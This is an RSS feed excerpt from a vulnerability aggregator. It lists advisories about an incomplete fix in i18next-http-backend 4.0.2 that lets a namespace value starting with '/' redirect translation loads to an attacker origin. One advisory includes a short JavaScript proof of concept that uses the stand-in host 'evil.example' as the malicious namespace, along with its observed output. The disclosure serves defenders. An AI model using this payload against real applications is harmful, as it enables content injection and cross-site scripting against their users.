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    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
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    <item>
      <title>EUVD-2026-395202</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-395202</link>
      <description>EUVD-2026-395202</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-395202</guid>
    </item>
    <item>
      <title>fkie_cve-2026-115730</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-115730</link>
      <description>&lt;p&gt;i18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;i18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-115730</guid>
    </item>
    <item>
      <title>GHSA-9jhj-wvmw-cfx5 — i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}}…</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-9jhj-wvmw-cfx5</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: i18next-http-backend&lt;/p&gt;
&lt;p&gt;## Affected versions
Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow `/` in ns are likely affected too. Not verified on them.&lt;/p&gt;
&lt;p&gt;## Impact
Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with `{{ns}}` right after a leading `/`, for example `/{{ns}}/{{lng}}.json`. The 4.0.2 maintainer note says templates with a leading `/` are safe. This case is outside that statement.&lt;/p&gt;
&lt;p&gt;## Root cause
`isSafeNsUrlSegment` rejects any ns containing `//`, but allows a single leading `/` (needed for nested namespaces like `a/b`). Interpolation into `/{{ns}}/...` puts the template&amp;#39;s own `/` next to the value&amp;#39;s `/`. The result starts with `//`, which is a protocol-relative URL. The check runs on the value, not on the final URL.&lt;/p&gt;
&lt;p&gt;## Minimal PoC
```js
import Backend from &amp;#39;i18next-http-backend&amp;#39;
const b = new Backend(null, { loadPath: &amp;#39;/{{ns}}/{{lng}}.json&amp;#39;,
  request: (opts, url, payload, cb) =&amp;gt; { console.log(url, &amp;#39;-&amp;gt;&amp;#39;, new URL(url, &amp;#39;https://app.example/&amp;#39;).origin); cb(null, { status: 200, data: &amp;#39;{}&amp;#39; }) } })
b.read(&amp;#39;en&amp;#39;, &amp;#39;/evil.example&amp;#39;, () =&amp;gt; {})
```
Observed on 4.0.2:
```
POC ns=/evil.example  loadPath=/{{ns}}/{{lng}}.json =&amp;gt; url=//evil.example/en.json  o…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: i18next-http-backend&lt;/p&gt;
&lt;p&gt;## Affected versions
Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow `/` in ns are likely affected too. Not verified on them.&lt;/p&gt;
&lt;p&gt;## Impact
Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with `{{ns}}` right after a leading `/`, for example `/{{ns}}/{{lng}}.json`. The 4.0.2 maintainer note says templates with a leading `/` are safe. This case is outside that statement.&lt;/p&gt;
&lt;p&gt;## Root cause
`isSafeNsUrlSegment` rejects any ns containing `//`, but allows a single leading `/` (needed for nested namespaces like `a/b`). Interpolation into `/{{ns}}/...` puts the template&amp;#39;s own `/` next to the value&amp;#39;s `/`. The result starts with `//`, which is a protocol-relative URL. The check runs on the value, not on the final URL.&lt;/p&gt;
&lt;p&gt;## Minimal PoC
```js
import Backend from &amp;#39;i18next-http-backend&amp;#39;
const b = new Backend(null, { loadPath: &amp;#39;/{{ns}}/{{lng}}.json&amp;#39;,
  request: (opts, url, payload, cb) =&amp;gt; { console.log(url, &amp;#39;-&amp;gt;&amp;#39;, new URL(url, &amp;#39;https://app.example/&amp;#39;).origin); cb(null, { status: 200, data: &amp;#39;{}&amp;#39; }) } })
b.read(&amp;#39;en&amp;#39;, &amp;#39;/evil.example&amp;#39;, () =&amp;gt; {})
```
Observed on 4.0.2:
```
POC ns=/evil.example  loadPath=/{{ns}}/{{lng}}.json =&amp;gt; url=//evil.example/en.json  o…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-9jhj-wvmw-cfx5</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-115730</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-115730</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: node-i18next-http-backend, Ubuntu:24.04:LTS: node-i18next-http-backend, Ubuntu:26.10: node-i18next-http-backend, Ubuntu:26.04:LTS: node-i18next-http-backend&lt;/p&gt;
&lt;p&gt;i18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: node-i18next-http-backend, Ubuntu:24.04:LTS: node-i18next-http-backend, Ubuntu:26.10: node-i18next-http-backend, Ubuntu:26.04:LTS: node-i18next-http-backend&lt;/p&gt;
&lt;p&gt;i18next-http-backend 4.0.2 contains an incomplete fix in interpolateUrl() that allows attackers to redirect translation requests by supplying an ns value starting with a slash. Attackers controlling the namespace value can form a protocol-relative URL in loadPath or addPath templates to load attacker-hosted translations, enabling UI content injection and cross-site scripting.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-115730</guid>
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